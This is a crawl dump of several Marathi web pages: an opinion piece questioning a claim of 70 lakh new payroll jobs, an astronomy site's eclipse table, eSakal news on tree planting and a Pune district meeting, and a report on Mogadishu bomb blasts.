पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nनवे रोजगार : ७० लाखांची बढाई\nनवे रोजगार : ७० लाखांची बढाई\nसन २०१७-१८ या वर्षांत भारतात ७० लाख नव्या वेतनपटावरील (पेरोल) रोजगारांची निर्मिती होईल\n‘कर्मचारी भविष्यनिर्वाह निधी’ म्हणजेच ‘ईपीएफओ’ची अगदी मर्यादित आकडेवारीच सार्वजनिकरीत्या उपलब्ध आहे आणि त्यानुसार सन २०१४-१५ मध्ये ‘ईपीएफओ’तील नोंदणीकृत सदस्य संख्या सात टक्क्यांनी वाढली तर सन २०१५-१६ मध्ये ही वाढ आठ टक्के होती.. प्रा. पुलक घोष आणि डॉ. सौम्यकांती घोष हे अभ्यासक मात्र आपल्याला सांगताहेत की हीच वाढ सात व आठ नव्हे, तर २० आणि २३ टक्के होती यातील सत्य बाहेर यायचे असेल, तर सर्व आकडेवारी सर्वासाठी खुली असायला नको का यातील सत्य बाहेर यायचे असेल, तर सर्व आकडेवारी सर्वासाठी खुली असायला नको का किंवा संशोधनपद्धती भलतीच वापरायची आणि करायचे कुठलेही दावे, हे थांबायला हवे की नाहीत\nप्रा. पुलक घोष आणि डॉ. सौम्यकांती घोष हे दोघे नामांकित अभ्यासक आहेत. सन २०१७-१८ या वर्षांत भारतात ७० लाख नव्या वेतनपटावरील (पेरोल) रोजगारांची निर्मिती होईल, असा दावा एका लेखात करून छोटेखानी वादळच निर्माण केले.\nया लेखकांनी वेतनपटावरील रोजगार म्हणजे नेमके कोणते हे स्पष्ट केले आहे. ज्या रोजगारामध्ये कर्मचाऱ्याची नोंदणी कर्मचारी भविष्यनिर्वाह निधी संघटना (ईपीएफओ) किंवा कर्मचारी राज्य विमा महामंडळ (ईएसआयसी) किंवा राष्ट्रीय निवृत्तिवेतन योजना (एनपीएस) किंवा सरकारी भविष्यनिर्वाह निधी (जीपीएफ) या योजनांमध्ये केली जाते, असे रोजगार वेतनपटावरील रोजगार मानले जातात. या चार योजनांपैकी किमान एका योजनेमध्ये तरी कर्मचाऱ्याचा समावेश नियोक्त्याने (एम्प्लॉयर) केल्याचे खात्रीलायक पुरावे उपलब्ध असतात. रोजगार खासगी क्षेत्रात असो, सार्वजनिक क्षेत्रात असो वा सरकारी, निमसरकारी क्षेत्रात असो असे रोजगार वेतनपटावरील रोजगार ठरतात.\nवेतनपटावरील ७० लाख नव्या रोजगारांचा दावा ऐकून कोणाचाही क्षणभर श्वास अडकेल. ३१ मार्च २०१७ पर्यंत वेतनपटावरील एकूण रोजगार (टोटल ‘पेरोल’ स्टॉक) नऊ कोटी १९ लाख असल्याचा दावा संबंधित लेखामध्ये लेखकांनी केला आहे.\nवास्तविक, देशाला नऊ कोटी १९ लाख वेतनपटावरील रोजगार निर्माण करण्यासाठी ७० वर्षे लागली पण, केवळ १२ महिन्यांमध्ये आश्चर्यकारकरीत्या देशात ७० लाख नवे वेतनपटावरील रोजगार निर्माण होतील, असा दावा करण्यात आला आहे. रोजगारनिर्मितीचे हे प्रमाण सध्याच्या वेतनपटावरील रोजगारापैकी सुमारे साडेसात टक्के इतके भरते\nवेतनपटावरील रोजगारांचा सर्वात मोठा उपविभाग म्हणजे कर्मचारी भविष्यनिर्वाह निधी संघटनेतील नोंदणीकृत कर्मचारी. कर्मचारी भविष्यनिर्वाह निधी संघटना (ईपीएफओ) पाच कोटी ५० लाख कर्मचाऱ्यांच्या ११ लाख कोटी रुपयांच्या भविष्यनिर्वाह निधीचे व्यवस्थापन करीत आहे. ही संघटना २० पेक्षा जास्त कर्मचारी असलेल्या १९० उद्योगांमधील कर्मचाऱ्यांचा भविष्यनिर्वाह निधी सांभाळते, असे लेखकांनी नोंदवलेले आहे. लेखकांच्या म्हणण्यानुसार, सन २०१६-१७ मध्ये वय वर्षे १८ ते २५ वयोगटातील ४५.४ लाख नवे कर्मचारी ‘ईपीएफओ’चे सदस्य झाले. त्यांचा भविष्यनिर्वाह निधी दरमहा जमा होऊ लागला. याच वयोगटातील ३६.८ लाख नवे कर्मचारी एप्रिल- नोव्हेंबर २०१७ या कालावधीत ‘ईपीएफओ’चे सदस्य बनले. याआधारावर २०१७ या संपूर्ण वर्षांत एकंदर ५५.२ लाख नव्या कर्मचाऱ्यांची नोंद ‘ईपीएफओ’मध्ये होईल, असा अंदाज लेखकांनी बांधला.\nसंघटित क्षेत्रातील २० अथवा त्यापेक्षा अधिक कर्मचारीसंख्या असलेल्या उद्योग/ व्यवसायात वर्षभरात ५५ लाख नवे रोजगार ‘ईपीएफओ’मध्ये नोंदणीकृत होण्यासाठी पात्र ठरले असतील, तर भारताने खऱ्या अर्थाने आणि सर्वंकषपणे बेरोजगारीच्या भस्मासुराचा नायनाट केला असेसुद्धा आपण घोषित करू शकतो\nउल्लेख केलेल्या रोजगारांमध्ये खालील क्षेत्रातील उद्योगांचाही समावेश केला पाहिजे..\n– संघटित क्षेत्रातील २० पेक्षा कमी कर्मचारी संख्या असलेल्या व्यवसायांमधील नवे रोजगार\n– असंघटित वा अनियंत्रित क्षेत्रातील नवे रोजगार : सूक्ष्म व लघु उद्योगांचा समावेश करावा लागेल. (हे उद्योग लाखोंच्या संख्येने आहेत.)\n– शेती क्षेत्रातील नवे रोजगार\n– प्रासंगिक व तात्पुरता रोजगार ज्यात, लोडर, कुरिअर, मेसेंजर या स्वरूपाच्या रोजगाराचा समावेश होतो.\n– बेकायदा अर्थव्यवस्थेतील नवे रोजगार\nलेखकांनी दावा केलेल्या प्रत्येक वेतनपटावरील रोजगाराच्या बरोबरीने मी उल्लेख केलेल्या क्षेत्रांमध्ये रोजगारनिर्मिती झाली, असे मानले तर मग २०१७-१८ मध्ये रोजगारनिर्मितीचा आकडा एक कोटी ४० लाखांवर पोहोचतो. घोष यांच्या अहवालानुसार, दर वर्षी एक कोटी ५० लाख लोकांची कामगार म्हणून भर पडते, त्यापैकी ६६ लाख कुशल कामगार असतात. त्यामुळे नजीकच्या भविष्यात बेरोजगारी ही समस्या नसेल; तर रोजगार शोधणाऱ्याची वानवा असेल. (तुलनात्मक स्थिती अशी की, भारतापेक्षा पाच पटीने सकल राष्ट्रीय उत्पन्न (जीडीपी) अधिक असणारा चीन दर वर्षी एक कोटी ५० लाख नवे रोजगार निर्माण करतो.)\nहे पाहता रोजगारासंदर्भातील महत्त्वाची आकडेवारी म्हणजे ‘ईपीएफओ’मध्ये नोंदणी झालेले नवे रोजगार. (२०१६-१७ मध्ये ४५.५ लाख आणि २०१७-१८ मध्ये ५५.२ लाख) ही आकडेवारी वैध असेल तर सन २०१७-१८ मधील वेतनपटावरील ७० लाख नव्या रोजगारांचा दावा स्वीकारता येईल.\nजयराम रमेश आणि प्रवीण चक्रवर्ती हेही नामांकित अभ्यासक आहेत.\nया द्वयीने लेखाद्वारे घोषद्वयीच्या दाव्यावर शंका व्यक्त केलेली आहे. कुठल्याही वर्षी ‘नवी नोंदणी झाली’ म्हणजे ‘नवा रोजगार निर्माण झाला’ असे नव्हे. त्या वर्षी अनौपचारिक रोजगार औपचारिक झाले असू शकतात किंवा ‘ईपीएफओ’चे सदस्य नसलेले कर्मचारी नोंदणीकृत झालेले असू शकतात. या दोन लेखकांच्या म्हणण्यानुसार, निश्चलनीकरणामुळे नोव्हेंबर २०१६ नंतर रोजगार औपचारिक झाले आणि वस्तू व सेवा कराच्या अंमलबजावणीमुळे जुलै २०१७ नंतर व्यवसायांची अधिकृत नोंदणी करणे भाग पडले. (व्यवसाय अधिकृत होणे हा लाभ होता. पण, निश्चलनीकरण आणि वस्तू व सेवा करामुळे रोजगार नष्ट झाले. हजारो सूक्ष्म व लघू उद्योग बंद पडले.) रमेश-चक्रवर्ती या लेखकांच्या म्हणण्यानुसार, सार्वजनिकरीत्या उपलब्ध असलेल्या मर्यादित आकडेवारीनुसार सन २०१४-१५ मध्ये ‘ईपीएफओ’तील नोंदणीकृत सदस्य संख्या सात टक्क्यांनी वाढली तर सन २०१५-१६ मध्ये ही वाढ आठ टक्के होती. याउलट, घोषद्वयीच्या अहवालानुसार सन २०१६-१७ मध्ये हीच आकडेवारी २० टक्क्यांनी वाढली आणि डिसेंबर २०१७ पर्यंत तर ती २३ टक्क्यांपर्यंत वाढली.\nप्रा. घोष आणि डॉ. घोष यांनी टीकेला उत्तर दिले आहे. त्यांच्या म्हणण्यानुसार, त्यांनी फक्त पहिल्यांदा रोजगार मिळालेल्या कर्मचाऱ्यांचा संशोधनात समावेश केला आहे. संशोधनाच्या कठोर निकषांत न बसणारी ईपीएफओ सदस्यांची मोठी संख्या विचारात घेण्यात आलेली नाही. ‘७० लाख नवे रोजगार’ ही स्थूल आकडेवारी आहे, त्यात निवृत्तीमुळे रिक्त झालेल्या पदांवर झालेल्या भरतीचाही समावेश आहे. या घटकापुरतीच निकषात सवलत देण्यात आली.\nचर्चा आता महत्त्वाच्या टप्प्यावर आली आहे. सार्वजनिक न झालेली माहिती घोष मिळाली असल्याचे स्पष्ट होते. त्यामुळे,\n– एक. सरकारने ‘ईपीएफओ’च्या सर्व सदस्यांची माहिती (डेटा) सार्वजनिक करावी.\n– दोन. प्रा. घोष आणि डॉ. घोष यांनी अन्य संशोधकांनी वापरलेल्याच संशोधनपद्धती अवलंब करावा. निश्चलनीकरण आणि ‘वस्तू व सेवा कर’ (जीएसटी) लागू होण्यापूर्वीची एनडीए सरकारची दोन वर्षे म्हणजे सन २०१४-१५ आणि २०१५-१६ मध्ये ‘ईपीएफओ’त नोंदणीकृत झालेल्या नव्या रोजगाराच्या आधारे संशोधन करावे. घोषद्वयीने यूपीए सरकारच्या काळातील (२००४-१४) आकडेवारीचा आधार घेऊनही संशोधन करावे.\nअशा रीतीने विविध काळातील आकडेवारी (टाइम सीरिज) घेऊन संशोधन केल्यास सत्य उघड होईल. अन्यथा, ७० लाख नव्या रोजगारांचा दावा अतिशयोक्ती ठरेल आणि काळाच्या ओघात हा दावा एक बढाईखोर थाप ठरेल.\nलेखक भारताचे माजी अर्थमंत्री आहेत.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00233.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://avakashvedh.com/adhikmahiti/suryagrahan2009-2012.html", "date_download": "2018-09-25T16:34:25Z", "digest": "sha1:VXSIVX7E6NVG6IA7N374CXIZZGHAAPFM", "length": 8875, "nlines": 159, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nसूर्य ग्रहण : २००९ - २०१२\nखालील जागेमध्ये २००९ - २०१२ या वर्षांमध्ये होणार्‍या सूर्यग्रहणांची माहिती दिलेली आहे.\n७.५४ मि. द. भारत, सुमात्रा, बोर्नेओ,\nद. अफ्रिका, अंटार्टिका, अग्नेय आशिया, ऑस्ट्रेलिया\n६.३९ मि. भारत, नेपाळ, चिन,\nपूर्व आशिया, प्रशांत महासागर, हवाई\n११.०८ मि. मध्य अफ्रिका, भारत, मल्यमार, चिन,\n५.२० मि. द. प्रशांत, चिले, अर्जेंटीना,\nखंडग्रास युरोप, अफ्रिका, मध्य आशिया\nखंडग्रास पूर्व आशिया, उत्तर अमेरीका, आईसलँड\nखंडग्रास द. हिंद महासागर\nखंडग्रास द. अफ्रिका, अंटार्ट्रिका, तस्मानिया, न्युझिलँड\n५.४६ मि. चिन, जपान, प्रशांत, प. अमेरीका,\nआशिया, प्रशांत, उ. अमेरीका\n४.०२ मि. उ. आस्ट्रेलिया, द. प्रशांत,\nआस्ट्रेलिया, न्युझिलँड, द. प्रशांत, द. अमेरीका\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00234.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.esakal.com/kokan/folklore-trees-konkan-46143", "date_download": "2018-09-25T17:22:59Z", "digest": "sha1:UCFSBHS5JKDBBOSYIZVVVS25L4I27OIU", "length": 14122, "nlines": 179, "source_domain": "www.esakal.com", "title": "Folklore for trees in Konkan कोकणात वृक्षलागवडीसाठी लोकचळवळ | eSakal", "raw_content": "\nशुक्रवार, 19 मे 2017\nचिपळूण - जागतिक तापमान वाढ, ऋतू बदल आणि राज्यातील वनक्षेत्र २० टक्‍क्‍यांवरून ३३ टक्‍क्‍यांपर्यंत वाढविण्याच्या प्रयत्नांचा एक भाग म्हणून येत्या तीन वर्षांत ५० कोटी वृक्षारोपणाचा कार्यक्रम राज्य शासनाने हाती घेतला आहे. १ जुलै ते ७ जुलै या वनमहोत्सव कालावधीत होणाऱ्या या वृक्षारोपण मोहिमेत लोकांचा सहभाग वाढविण्यासाठी महसूल विभागाकडून चळवळ सुरू झाली आहे. नियोजनासाठी प्रांताधिकारी व तहसीलदार गावनिहाय बैठका घेत आहेत.\nचिपळूण - जागतिक तापमान वाढ, ऋतू बदल आणि राज्यातील वनक्षेत्र २० टक्‍क्‍यांवरून ३३ टक्‍क्‍यांपर्यंत वाढविण्याच्या प्रयत्नांचा एक भाग म्हणून येत्या तीन वर्षांत ५० कोटी वृक्षारोपणाचा कार्यक्रम राज्य शासनाने हाती घेतला आहे. १ जुलै ते ७ जुलै या वनमहोत्सव कालावधीत होणाऱ्या या वृक्षारोपण मोहिमेत लोकांचा सहभाग वाढविण्यासाठी महसूल विभागाकडून चळवळ सुरू झाली आहे. नियोजनासाठी प्रांताधिकारी व तहसीलदार गावनिहाय बैठका घेत आहेत.\nगेल्यावर्षी कोकणातील ठाणे, पालघर, रायगड, रत्नागिरी, सिंधुदुर्ग या पाच जिल्ह्यांत एकूण ३० लाख ४० हजार ११७ रोपांची लागवड करण्यात आली होती. त्यापैकी तब्बल ८० टक्के म्हणजे २४ लाख ४ हजार ८९५ रोपे जगल्याचा दावा शासनाने केला आहे. यावर्षी रोपे जगवण्याचे प्रमाण ९० टक्के करण्याचा संकल्प कोकण विभागाने केला आहे. गेल्यावर्षी १ जुलै २०१६ ला जनतेच्या सक्रिय सहभागामुळे एकाच दिवशी २ कोटी वृक्ष लागवडीचे उद्दिष्ट सहजगत्या साध्य झाले. १ जुलै २०१६ रोजी २ कोटी ८२ लाख वृक्ष रोपांची लागवड करण्यात आली. वृक्ष लागवडीसाठी वने व सामाजिक वनीकरण विभागाच्या रोपवाटिकांमधून सवलतीच्या दराने रोपांचा पुरवठा करण्यात येणार आहे. जिथे अडचण असेल तिथे वन व सामाजिक वनीकरण विभागाकडून मोफत रोपे देण्याचाही प्रयत्नही होणार आहे. कमी पाण्यावर जगणारी व लवकर वाढणाऱ्या रोपांची लागवड होणार आहे. त्यासाठी आंबा, चिंच, आवळा, फणस, वन, पिंपळ, कडुलिंब, पळस, कॅशिया, रेन ट्री, गुलमोहर, चाफा या झाडांना प्राधान्य मिळेल. संयुक्त वनव्यवस्थापन समिती, हरित सेना, डॉ. नानासाहेब धर्माधिकारी प्रतिष्ठान, स्वाध्याय परिवार भक्तगण यांच्यामार्फत लागवड व संगोपन केले जाणार आहे. गेल्यावर्षी शासनाने २१ विभाग मोहिमेत सहभागी झाले होते. यावर्षी ३३ विभाग सहभागी होणार आहे. त्यात शासकीय व निमशासकीय मंडळांचा\nवृक्ष लागवडीच्या मोहिमेत लोकसहभाग वाढविण्यासाठी आम्ही गावनिहाय बैठका घेऊन लोकांमध्ये जनजागृती करत आहोत. त्यामुळे यावर्षी वृक्षलागवडीला ग्रामस्थांचा चांगला सहभाग मिळेल.\n- जीवन देसाई, तहसीलदार, चिपळूण\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00234.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/pune/center-plans-implement-effectively-40354", "date_download": "2018-09-25T17:58:19Z", "digest": "sha1:3J5P256EBW3KVZHYL74DBGNMD3HZE6XY", "length": 14010, "nlines": 191, "source_domain": "www.esakal.com", "title": "Center plans to implement effectively केंद्राच्या योजनांची प्रभावीपणे अंमलबजावणी करावी - शिवाजीराव आढळराव पाटील | eSakal", "raw_content": "\nकेंद्राच्या योजनांची प्रभावीपणे अंमलबजावणी करावी - शिवाजीराव आढळराव पाटील\nरविवार, 16 एप्रिल 2017\nपुणे - राज्य सरकारच्या सर्व विभागांनी केंद्र सरकारच्या विविध योजनांची प्रभावीपणे अंमलबजावणी करावी, असे निर्देश जिल्हा समन्वय व सनियंत्रण समिती सभेचे (दिशा) अध्यक्ष तथा खासदार शिवाजीराव आढळराव पाटील यांनी शनिवारी (ता. 15) दिले.\nपुणे - राज्य सरकारच्या सर्व विभागांनी केंद्र सरकारच्या विविध योजनांची प्रभावीपणे अंमलबजावणी करावी, असे निर्देश जिल्हा समन्वय व सनियंत्रण समिती सभेचे (दिशा) अध्यक्ष तथा खासदार शिवाजीराव आढळराव पाटील यांनी शनिवारी (ता. 15) दिले.\nविधान भवन (कौन्सिल हॉल) येथे जिल्हा समन्वय व सनियंत्रण समितीच्या पहिल्या बैठकीत ते बोलत होते. या वेळी पालकमंत्री गिरीश बापट तसेच जलसंपदा व जलसंधारण राज्यमंत्री विजय शिवतारे, खासदार अनिल शिरोळे, श्रीरंग बारणे, अमर साबळे, आमदार शरद सोनवणे, सुरेश गोरे, संजय भेगडे, भीमराव तापकीर, प्रभारी जिल्हाधिकारी तथा अपर जिल्हाधिकारी रमेश काळे, पुणे जिल्हा परिषदेचे मुख्य कार्यकारी अधिकारी दौलत देसाई, पुणे महापालिका आयुक्त कुणाल कुमार, पिंपरी-चिंचवड महापिालका आयुक्त दिनेश वाघमारे, जिल्हा ग्रामीण विकास यंत्रणेचे प्रकल्प संचालक दिनेश डोके, निवासी उपजिल्हाधिकारी राजेंद्र मुठे उपस्थित होते.\nखासदार आढळराव पाटील म्हणाले, 'केंद्र सरकारच्या योजनांची प्रभावीपणे अंमलबजावणी झाल्यास शहरांबरोबरच ग्रामीण भागाचा विकासही योग्य पद्धतीने होऊ शकतो. शासकीय योजना लोकांपर्यंत पोचवण्यासाठी लोकप्रतिनिधी आणि शासकीय अधिकाऱ्यांनी समन्वयाने काम करावे. या कामी हलगर्जीपणा करणाऱ्या संबंधित अधिकाऱ्यांवर कडक कार्यवाही करण्यात येईल.''\nपालकमंत्री बापट आणि राज्यमंत्री शिवतारे यांनी अधिकाऱ्यांना योजनांच्या अंमलबजावणी संदर्भात सूचना केल्या.\nमहापौर आणि अधिकाऱ्यांच्या दांड्या\nजिल्हा समन्वय समितीच्या पहिल्या आढावा बैठकीला पुणे व पिंपरी- चिंचवड महापालिकेचे महापौर अनुपस्थित राहिले. शहर आणि जिल्ह्याशी निगडित योजनांची सद्यःस्थिती आणि अंमलबजावणीची चर्चा या बैठकीत केली गेली. परंतु दोन्ही महापालिकांच्या महापौरांनी दांड्या मारल्याने त्यांना बैठकीबाबत कितपत गांभीर्य आहे, याबद्दल चर्चा रंगली होती. तसेच म्हाडा आणि झोपडपट्टी पुनर्वसन योजना (एसआरए) विभागाच्या अधिकाऱ्यांनी देखील दांड्या मारल्या.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00234.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.maharashtracitynews.com/amp/somalia-bomb-blast/", "date_download": "2018-09-25T17:38:23Z", "digest": "sha1:BNJ6NC7WSK5MCEF6IXM2HNG3KPFCC3PA", "length": 6162, "nlines": 54, "source_domain": "www.maharashtracitynews.com", "title": "सोमालिया बॉम्बस्फोटानं हादरलं, 18 जणांचा मृत्यू, 20 जण जखमी | Top Latest Marathi News Online", "raw_content": "\nसोमालिया बॉम्बस्फोटानं हादरलं, 18 जणांचा मृत्यू, 20 जण जखमी\nदोन कारमधील बॉम्बस्फोटांमुळे सोमालियातील मोगादिशू हे राजधानीचे शहर हादरले असून या स्फोटात १८ जणांचा जागीच मृत्यू झाला. तर २० जण या स्फोटात जखमी झाले आहेत. जखमींपैकी अनेकांची प्रकृती गंभीर असल्याने मृतांचा आकडा वाढण्याचीही शक्यता आहे. मोगादिशू येथे असलेल्या राष्ट्रपती भवनाजवळ आणि एका हॉटेलसमोर दोन कारमध्ये बॉम्बस्फोट झाले अशी माहिती पोलीस कॅप्टन मोहम्मद हुसैन यांनी प्रसारमाध्यमांना दिली. एएनआयने या संदर्भातले वृत्त दिले आहे.\nआमिन अॅम्ब्युलन्स या रुग्णवाहिकेने स्फोटातील जखमींना रुग्णालयात दाखल करण्यात आले. सरकारने एक दिवस आधीच दहशतवादी हल्ल्याचा इशारा दिला होता आणि त्यानंतर दुसऱ्याच दिवशी हे दोन स्फोट झाले. अल-शबाब या दहशतवादी संघटनेने या स्फोटाची जबाबदारी स्वीकारली आहे. अल-शबाब ही दहशतवादी संघटना अल कायदा या संघटनेशी संबंधित आहे. याआधी डिसेंबर महिन्यात १८ पोलिसांचा मृत्यू याच दहशतवादी संघटनेने केलेल्या हल्ल्यात झाला होता.\nमागील वर्षी ऑक्टोबर महिन्यात मोगादिशूमध्ये ट्रकमध्ये बॉम्ब लावून त्याचा स्फोट घडवण्यात आला. ज्या स्फोटात ५१२ लोकांचा मृत्यू झाला होता. सोमालियाच्या इतिहासातील हा सर्वात मोठा हल्ला होता. या हल्ल्यामागेही अल-शबाब ही दहशतवादी संघटना होती असे सोमाली सरकारने स्पष्ट केले होते. आता पुन्हा एकदा याच दहशतवादी संघटनेने सोमालियाच्या राजधानीत स्फोट घडवून आणला आहे. या स्फोटात १८ जणांचा जागीच मृत्यू झाला. तर २० जण गंभीर जखमी झाले आहेत. जखमींवर उपचार सुरु करण्यात आले आहेत.\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n67 प्रवाशांना घेऊन जाणारं बांगलादेशी विमान नेपाळमध्ये कोसळलं\nबिल गेट्सना मागे टाकत ही व्यक्ती ठरली जगात सर्वात श्रीमंत\nमुंबई विमानतळ जगातील एक नंबर\n६८ व्यावर्षी इमरान खान लाहोरमध्ये तिस-यांदा केला निकाह\nमोदींची केली नक्कल अमेरिकेचे राष्ट्राध्यक्ष डोनाल्ड ट्रम्प\nतंत्रज्ञानामुळे अर्थकारणाला वेगवान दिशा-Narendra Modi@WEF\n", "cc_segment": 